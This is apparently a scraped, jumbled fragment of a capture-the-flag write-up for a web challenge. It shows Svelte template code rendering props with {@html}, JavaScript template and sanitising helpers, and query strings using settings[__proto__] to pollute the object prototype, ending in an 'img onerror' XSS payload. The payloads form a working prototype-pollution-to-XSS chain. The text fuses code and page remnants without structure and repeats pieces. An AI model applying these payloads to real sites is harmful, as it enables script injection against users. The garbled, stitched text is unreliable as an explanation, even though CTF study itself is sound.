nc -v web.chal.ctf.gdgalgiers.com 1608
Author : vvxhid
Files:Tags: No tags.if (settings instanceof Array && !Array.isArray(settings)) {?settings[__proto__]=a&settings[__proto__]=b&settings[__proto__]=c&settings[__proto__]=d/?settings[__proto__]=__proto__&settings[__proto__]=x&settings[__proto__]=a&settings[__proto__]=b
<div>
<!-- heading/subheading text -->
{#each Object.entries($$props) as [key, value]}
{#if key === "heading"}
<h1>{value}</h1>
{:else if key === "subheading"}
<h3>{value}</h3>
{:else}
{@html value}
{/if}
{/each}
</div>Object.prototype.x = "<img src=x onerror=alert(1) />"/?settings[__proto__]=__proto__&settings[__proto__]=x&settings[__proto__]=a&settings[__proto__]=b const generateTemplate = (arr) =>
Array.isArray(arr) &&
`{"${arr[0]}": {"${arr[1]}": {"${arr[2]}":"${arr[3]}" }}}`;{"__proto__": { "x": { "b": "c" } } }const cleanStr = (str) => decodeURI(str).replaceAll(/[,"{}]/g, "");const generateTemplate = (arr) =>
Array.isArray(arr) &&
`{"${arr[0]}": {"${arr[1]}": {"${arr[2]}":"${arr[3]}" }}}`;
given that every element in the array goes through this:
const cleanStr = (str) => decodeURI(str).replaceAll(/[,"{}]/g, "");